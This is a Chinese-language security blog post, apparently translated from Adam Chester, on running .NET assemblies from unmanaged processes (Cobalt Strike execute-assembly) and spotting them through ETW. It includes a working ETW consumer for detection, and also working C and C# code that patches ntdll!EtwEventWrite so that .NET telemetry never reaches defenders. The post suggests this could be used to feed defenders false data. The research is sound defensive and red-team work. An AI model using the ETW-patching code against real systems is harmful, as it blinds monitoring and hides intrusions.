随着目前的防御机制不断加强对于PowerShell的检测功能,攻击者也不断改变他们所使用的战术,并逐渐改用到很少会被监测到的技术,.NET就是其中的一种。随着时间的推移,很多攻击者已经习惯了可以用于后漏洞利用的大量.NET Payload。诸如GhostPack和SharpHound这样的工具套件,已经成为攻击者武器库中的一部分,负责为其提供“动力”的框架,通常会是Cobalt Strike的execute-assembly。

这样的功能,有效减少了红队的工作量。在我看来,这也正是.NET工具持续流行的原因之一,它使得恶意活动运营人员可以在后漏洞利用的剧本(Playbook)中从非托管的进程中运行程序集。

如同PowerShell一样,随着时间的推移,Microsoft和终端安全厂商已经逐渐引入了防御功能,以帮助缓解在.NET Payload执行这方面的盲区(例如:在.NET 4.8中引入的AMSI)。对于攻击者来说,一大挑战就是如何继续保证在不产生告警的情况下继续利用这种技术。当然,目前AMSI对攻击者来说并不是一个太大的问题,奇热但是我们担心防御方所使用的其他技术没有得到足够的审查。

因此,在这几篇文章中,我们希望探讨蓝队能如何检测恶意的.NET,如何通过execute-assembly这样的方法来利用,以及红队的攻击者如何能绕过针对这类攻击的检测和限制。

在这一系列的第一篇文章中,我们将重点讨论Windows事件线程(ETW),以及如何使用它来表示正在从非托管进程执行的.NET程序集。

Execute-assembly的工作原理

为了了解防御方的侦查能力,我们首先需要研究execute-assembly技术的实际工作原理。

该方法的魔力在于,其背后隐藏着三个接口——ICLRMetaHost、ICLRRuntimeInfo和ICLRRuntimeHost。要开始将CLR加载到“非托管”进程中(也称为没有启动CLR的Windows进程),我们需要调用CLRCreateInstance方法。使用该函数,将会提供一个ICLRMetaHost接口,该接口在.NET Frameworks列表中公开了一些对我们有帮助的信息:

ICLRMetaHost *metaHost = NULL;
IEnumUnknown *runtime = NULL;if (CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (LPVOID*)&metaHost) != S_OK) {printf("[x] Error: CLRCreateInstance(..)\n");return 2;
}if (metaHost->EnumerateInstalledRuntimes(&runtime) != S_OK) {printf("[x] Error: EnumerateInstalledRuntimes(..)\n");return 2;
}

一旦选择了运行时,接下来就要实例化我们的ICLRRuntimeInfo接口,该接口又用于创建我们的ICLRRuntimeHost接口。

frameworkName = (LPWSTR)LocalAlloc(LPTR, 2048);
if (frameworkName == NULL) {printf("[x] Error: malloc could not allocate\n");return 2;
}// Enumerate through runtimes and show supported frameworks
while (runtime->Next(1, &enumRuntime, 0) == S_OK) {if (enumRuntime->QueryInterface(&runtimeInfo) == S_OK) {if (runtimeInfo != NULL) {runtimeInfo->GetVersionString(frameworkName, &bytes);wprintf(L"[*] Supported Framework: %s\n", frameworkName);}}
}// For demo, we just use the last supported runtime
if (runtimeInfo->GetInterface(CLSID_CLRRuntimeHost, IID_ICLRRuntimeHost, (LPVOID*)&runtimeHost) != S_OK) {printf("[x] ..GetInterface(CLSID_CLRRuntimeHost...) failed\n");return 2;
}

在创建后,所有内容都会通过两个方法调用合并在一起。ICLRRuntimeHost::Start将CLR加载到我们的进程中,而ICLRRuntimeHost::ExecuteInDefaultAppDomain则允许我们提供程序集位置以及要执行的方法名称:

// Start runtime, and load our assembly
runtimeHost->Start();printf("[*] ======= Calling .NET Code =======\n\n");
if (runtimeHost->ExecuteInDefaultAppDomain(L"myassembly.dll",L"myassembly.Program",L"test",L"argtest",&result
) != S_OK) {printf("[x] Error: ExecuteInDefaultAppDomain(..) failed\n");return 2;
}
printf("[*] ======= Done =======\n");

如果大家希望看到端到端运行,可以在这里找到相应的源代码。

在编译并执行后,我们可以看到,在非托管进程中加载.NET程序集是非常容易的:

蓝队如何检测程序集

现在,我们已经知道了execute-assembly的工作原理。那么对于蓝队而言,如何检测其使用呢?一种常见的方法是使用Windows事件跟踪(ETW),该事件最初是为了调试和监控性能而引入的,但现在已经演变成安全产品和防御人员所使用的工具,用于揭示潜在的威胁指标。

我们在一系列关于.NET滥用的文章中,发现了Countercept通过这种方式利用ETW。@FuzzySec的SilkETW等其他示例,进一步说明了如何使用ETW来分析Microsoft的.NET CLR。而Endgame的CLrGuard则主要作为概念证明来开发,可以检测到恶意.NET进程并终止它们。

在继续进行下一步之前,我们需要说明,从GitHub项目的Releases选项卡中使用任何类型的Payload这种攻击方式早已不再可靠。像是GhostPack这样的项目正在努力阻止这类恶意活动,这些项目甚至不提供任何预编译的二进制文件,从而迫使用户编译自己的解决方案。对于那些不敢相信这个观点的读者,我们可以以“SharpHound”作为测试用例,展示如何检测到攻击者执行此操作。

我们可以使用ProcessHacker,来轻松地查看进程中已经加载的程序集。我们可以看一些当execute-assembly被用于加载SharpHound时的进程。在下图中,我们可以看到生成的代理进程(示例中为w32tm.exe),可以看到该进程明显托管SharpHound,如其.NET程序集名称所示:

为了演示这样的工具是如何枚举.NET程序集的,我们可以创建一个非常简单的ETW Consumer,它会指示进程正在加载和执行的.NET程序集。

然而,遗憾的是,创建ETW Consumer并不是我们最终的任务,但我们可以根据ProcessHacker来学习如何实现,从而使我们可以创建以下内容:

#define AssemblyDCStart_V1 155#include #include #include #include #include #include
static GUID ClrRuntimeProviderGuid = { 0xe13c0d23, 0xccbc, 0x4e12, { 0x93, 0x1b, 0xd9, 0xcc, 0x2e, 0xee, 0x27, 0xe4 } };// Can be stopped with 'logman stop "dotnet trace" -etw'
const char name[] = "dotnet trace\0";#pragma pack(1)
typedef struct _AssemblyLoadUnloadRundown_V1
{ULONG64 AssemblyID;ULONG64 AppDomainID;ULONG64 BindingID;ULONG AssemblyFlags;WCHAR FullyQualifiedAssemblyName[1];
} AssemblyLoadUnloadRundown_V1, *PAssemblyLoadUnloadRundown_V1;
#pragma pack()static void NTAPI ProcessEvent(PEVENT_RECORD EventRecord) {PEVENT_HEADER eventHeader = &EventRecord->EventHeader;PEVENT_DESCRIPTOR eventDescriptor = &eventHeader->EventDescriptor;AssemblyLoadUnloadRundown_V1* assemblyUserData;switch (eventDescriptor->Id) {case AssemblyDCStart_V1:assemblyUserData = (AssemblyLoadUnloadRundown_V1*)EventRecord->UserData;wprintf(L"[%d] - Assembly: %s\n", eventHeader->ProcessId, assemblyUserData->FullyQualifiedAssemblyName);break;}
}int main(void)
{TRACEHANDLE hTrace = 0;ULONG result, bufferSize;EVENT_TRACE_LOGFILEA trace;EVENT_TRACE_PROPERTIES *traceProp;printf("ETW .NET Trace example - @_xpn_\n\n");memset(&trace, 0, sizeof(EVENT_TRACE_LOGFILEA));trace.ProcessTraceMode    = PROCESS_TRACE_MODE_REAL_TIME | PROCESS_TRACE_MODE_EVENT_RECORD;trace.LoggerName          = (LPSTR)name;trace.EventRecordCallback = (PEVENT_RECORD_CALLBACK)ProcessEvent;bufferSize = sizeof(EVENT_TRACE_PROPERTIES) + sizeof(name) + sizeof(WCHAR);traceProp = (EVENT_TRACE_PROPERTIES*)LocalAlloc(LPTR, bufferSize);traceProp->Wnode.BufferSize    = bufferSize;traceProp->Wnode.ClientContext = 2;traceProp->Wnode.Flags         = WNODE_FLAG_TRACED_GUID;traceProp->LogFileMode         = EVENT_TRACE_REAL_TIME_MODE | EVENT_TRACE_USE_PAGED_MEMORY;traceProp->LogFileNameOffset   = 0;traceProp->LoggerNameOffset    = sizeof(EVENT_TRACE_PROPERTIES);if ((result = StartTraceA(&hTrace, (LPCSTR)name, traceProp)) != ERROR_SUCCESS) {printf("[!] Error starting trace: %d\n", result);return 1;}if ((result = EnableTraceEx(&ClrRuntimeProviderGuid,NULL,hTrace,1,TRACE_LEVEL_VERBOSE,0x8, // LoaderKeyword0,0,NULL)) != ERROR_SUCCESS) {printf("[!] Error EnableTraceEx\n");return 2;}hTrace = OpenTrace(&trace);if (hTrace == INVALID_PROCESSTRACE_HANDLE) {printf("[!] Error OpenTrace\n");return 3;}result = ProcessTrace(&hTrace, 1, NULL, NULL);if (result != ERROR_SUCCESS) {printf("[!] Error ProcessTrace\n");return 4;}return 0;
}

在精心设计客户端之后,我们就可以开始尝试使用Cobalt Strikie中的execute-assembly选项来运行Sharphound。

演示视频:https://youtu.be/aIQNkSbxTM8

如我们所见,Sharphound程序集名称很快就浮出水面,从而表明该工具目前正在使用中。现在,如果要解决这一问题,一个快速简单的方案是实际编译该工具,并将Assembly重命名为不太明显的名称,例如:

msbuild.exe /p:AssemblyName=notmalware ...

当然,这只能解决如何避免通过程序集名称实现检测的问题。如果我们打算改写ETW工具,开始显示被调用的可疑方法名称,我们可以通过添加以下内容来轻松实现:

...
switch (eventDescriptor->Id) {case MethodLoadVerbose_V1:methodUserData = (struct _MethodLoadVerbose_V1*)EventRecord->UserData;WCHAR* MethodNameSpace = methodUserData->MethodNameSpace;WCHAR* MethodName = (WCHAR*)(((char*)methodUserData->MethodNameSpace) + (lstrlenW(methodUserData->MethodNameSpace) * 2) + 2);WCHAR* MethodSignature = (WCHAR*)(((char*)MethodName) + (lstrlenW(MethodName) * 2) + 2);wprintf(L"[%d] - MethodNameSpace: %s\n", eventHeader->ProcessId, methodUserData->MethodNameSpace);wprintf(L"[%d] - MethodName: %s\n", eventHeader->ProcessId, MethodName);wprintf(L"[%d] - MethodSignature: %s\n", eventHeader->ProcessId, MethodSignature);break;
...

同样,如果执行SharpHound程序集,即使是重命名后,也会大概率被发现,因为SharpHound命名空间、类名、方法名还会照常显示。

演示视频:https://youtu.be/YiBi0UsFlxw

因此,考虑到这一点,我们可以再次混淆方法的名称。但实际上,我们只不过是持续与ETW玩猫捉老师的游戏。

CLR如何通过ETW公开事件

我们希望能到这里就截止,但显示往往并非如此。我们还需要阻止ETW向防御方报告我们的恶意活动。为此,我们首先需要了解CLR是如何通过ETW公开其事件的。

我们首先来看一下clr.dll,看看是否可以发现事件触发的那一刻。加载PDB并使用Ghidra寻找AssemblyDCStart_V1符号,我们可以迅速采用以下的方法:

接下来,我们看看能否找到一个事件的准确生成点,该事件报告了我们在上述ETW Consumer观察到的程序集加载。将其放入WinDBG,并在上面的ModuleLoad方法之后发生的所有ntdll!EtwEventWrite调用上都设置一个断点,就可以发现以下内容,其中可以看到我们的程序集名称“test”正在发送:

所以,这说明了两件事。第一,这些ETW事件是从用户空间发出的。第二,这些ETW事件是从我们控制的流程中发出的。

红队如何禁用.NET

到现在为止,我们还是希望看到依靠ETW进行恶意活动的检测与指示。通过添加修补ntdll!EtwEventWrite调用的功能,我们可以对非托管.NET加载程序略作修改。

在这个样本中,我们将目标对准x86。我们来挖掘一下EtwEventWrite函数,看看我们正在使用该函数中的哪些内容。如果遵循函数反汇编,我们发现返回的内容是通过ret 14h操作码来完成的:

为了使函数无效,我们将使用c214000的相同ret 14h操作码字节,并将其应用于函数的开头:

// Get the EventWrite function
void *eventWrite = GetProcAddress(LoadLibraryA("ntdll"), "EtwEventWrite");// Allow writing to page
VirtualProtect(eventWrite, 4, PAGE_EXECUTE_READWRITE, &oldProt);// Patch with "ret 14" on x86
memcpy(eventWrite, "\xc2\x14\x00\x00", 4);// Return memory to original protection
VirtualProtect(eventWrite, 4, oldProt, &oldOldProt);

完成这个操作后,我们可以看到该函数简单地返回,并清理堆栈:

那么,当我们运行SharpHound程序集时,现在ETW检测示例会发生什么情况?

在修复ETW之前,我们会看到类似以下内容:

在完成修复后,我们看不到任何事件记录。

这个样本的来源可以从这里找到: https://gist.github.com/xpn/fabc89c6dc52e038592f3fb9d1374673

因此,当我们在执行非托管.NET时,本文也许会有帮助。但是,在非托管进程中执行上面的操作的过程中还存在一些限制。例如,我们不能只在Assembly.Load调用之前执行这个操作。如果考虑从.NET内部修补ETW,这显然会有一些限制。但其中最大的缺点是,我会暴露蓝方身份和所有工作资料。但是,我们现在可以使用类似以下方式加载进一步的程序集:

using System;
using System.Reflection;
using System.Runtime.InteropServices;namespace test
{class Win32{[DllImport("kernel32")]public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);[DllImport("kernel32")]public static extern IntPtr LoadLibrary(string name);[DllImport("kernel32")]public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);}class Program{static void Main(string[] args){Console.WriteLine("ETW Unhook Example @_xpn_");// Used for x86, I'll let you patch for x64 ;)PatchEtw(new byte[] { 0xc2, 0x14, 0x00 });Console.WriteLine("ETW Now Unhooked, further calls or Assembly.Load will not be logged");Console.ReadLine();//Assembly.Load(new byte[] { });}private static void PatchEtw(byte[] patch){try{uint oldProtect;var ntdll = Win32.LoadLibrary("ntdll.dll");var etwEventSend =   Win32.GetProcAddress(ntdll, "EtwEventWrite");Win32.VirtualProtect(etwEventSend, (UIntPtr)patch.Length, 0x40, out oldProtect);Marshal.Copy(patch, 0, etwEventSend, patch.Length);}catch{Console.WriteLine("Error unhooking ETW");}}}
}

在执行后,我们可以看到事件会被记录下来,直到脱离挂钩为止。

当然,当我们在尝试使用依赖ETW作为其信息源的工具时(例如ProcessHacker),我们看到里面有很多东西:

现在,我们就可以根据真正的需要,在这里发挥创造力,例如:提供虚假信息、仅过滤不希望防御者看到的指标等等。除了修补ntdll!EtwEventWrite之外,实际上还有很多方法可以禁用ETW。我们得到结论,尽管用于防御目的的ETW可能会有帮助,但它还是具有其局限性。

希望这篇文章对于那些发现SOC在参与过程中搜寻.NET Payload的人能有价值。在第二篇文章中,我将探讨一些不同的地方,以及确认如何保护Payload免受提取和分析。

本文由Adam Chester撰写。

恶意.NET安全攻防(一):使用ETW隐藏你的.NET相关推荐

  1. 2018-2019-2 20189215 《网络攻防技术》第九周作业

    教材<网络攻防技术>第九.十章学习 第9章 恶意代码安全攻防 9.1 恶意代码基础知识 恶意代码是指使计算机按照攻击者的意图执行以达到恶意目标的指令集.类型包括:计算机病毒.蠕虫.恶意移动 ...

  2. 2018-2019-2 20189212 《网络攻防技术》第九周作业

    <网络攻防>教材学习 第9章 恶意代码安全攻防 9.1恶意代码基础知识 9.1.1恶意代码定义与分类 恶意代码指的是使计算机按照攻击者的意图执行以达到恶意目标的指令集. 典型的攻击目标包括 ...

  3. 20145217《网络对抗》 恶意代码分析

    20145217<网络对抗> 免杀原理与实践 知识点学习总结 进行恶意代码分析之前必须具备以下知识:编程.汇编/反汇编.网络基本知识.PE文件结构以及一些常用行为分析软件. 一.在一个已经 ...

  4. 20159206 《网络攻防实践》第九周学习总结

    20159206<网络攻防实践>第九周学习总结 教材学习内容总结 本周我们学习了教材的第九章和第十章. 第九章介绍了恶意代码安全攻防.首先教材介绍了恶意代码的基础知识,恶意代码指的是使计算 ...

  5. 学习笔记-第十二章 恶意代码分析实战

    第12章 隐蔽的恶意代码启动 1.启动器启动器是一种设置自身或其他恶意代码片段以达到即使或将来秘密运行的恶意代码.启动器的目的是安装一些东西,以使恶意行为对用户隐蔽.启动器经常包含它要加载的恶意代码. ...

  6. 网络安全实战攻防演练应急处置预案

    第一章 社会工程攻击 1.1 监测阶段 (1) 蜜罐系统,还用于将检测到的疑似社会工程学攻击事件发送给控制器:控制器,还用于将蜜罐系统发送的疑似社会工程学攻击事件存储至数据存储系统,并向事件分析系统下 ...

  7. 隐藏链接和隐藏文字对seo的影响

    隐藏文字与隐藏链接也是我们常见的一种非不符合搜索引擎规则的行为,隐藏文字的话,就是说你的这个文字颜色与我们网页的背景颜色是相同的. 例如:白体白字.黑体黑字,这样的话我们是用肉眼看不见文字的,但是这个 ...

  8. 恶意代码常用Windows函数

    来源:恶意代码分析实战附录1 1.a accept 用来监听入站网络连接,这个函数预示着程序会在一个套接字上监听入站网络连接. AdjustTokenPrivileges 用来启用或禁用特定的访问权限 ...

  9. 恶意代码可视化检测技术研究综述

    摘要 随着反检测技术的不断发展,产生了大量形态多样的恶意代码变种,传统检测技术已无法准确检测出该种未知恶意代码.由于数据可视化方法能将恶意代码的核心表现在图像特征中,因此可视化恶意代码检测方法受到越来 ...

最新文章

  1. IROS2021|DLL直接点云定位:一种基于点云地图的航空机器人定位方法
  2. 函数||值传递||函数的常见样式||函数的声明||函数的分文件编写
  3. c+ +三角函数_C ++中的三角函数
  4. Spring的@Scheduled 动态更新cron表达式
  5. 服务器基线加固脚本_Linux 基线检查,安全加固脚本
  6. SQL Server高级查询之子查询(多行子查询)
  7. [Android Pro] Android源码编译之Nexus5真机编译
  8. 中科大软件学院硕士:实习秋招百多轮面试总结(中)
  9. Python爬虫实例(含代码)超详细教程
  10. 三峡大学本科毕业论文答辩PPT模板
  11. 简述cookie增删改查的函数封装
  12. 有道云笔记 迁移 语雀过程记录
  13. 巴菲特指标:估值过高
  14. 10个每个人都用得到的视频下载网站
  15. 数据库事务的四大特性和隔离级别,一文带你看通透
  16. 京东自营客服初级考试
  17. 用户需求管理 - KANO模型
  18. 宝付揭秘高炮贷款借贷渠道
  19. 使用pandas批量重命名(指定Excel中的对应列)
  20. 【xla】五、【构图阶段】xlaCompileOp

热门文章

  1. 【微服务】前端项目tomcat启动
  2. Python 爬虫小课 2-9 中国妖怪数据库,运行中竟然发现有个色(he)欲(xie)妖怪分类
  3. MFSK调制与相干解调-MATLAB基带仿真
  4. ES6——ES6内置对象
  5. python和java哪个更有潜力-Python和JAVA的就业前景哪个好点?
  6. 智慧工地解决方案的关键技术
  7. 鼠标事件(事件类型)
  8. Matlab之选取特定区域的坐标点
  9. linux英伟达显卡内核不匹配,解决ubuntu16.04循环登录问题,原因为linux图形化界面和英伟达显卡不兼容...
  10. Linux常用文本编辑器,及文本查看摘选的常用命令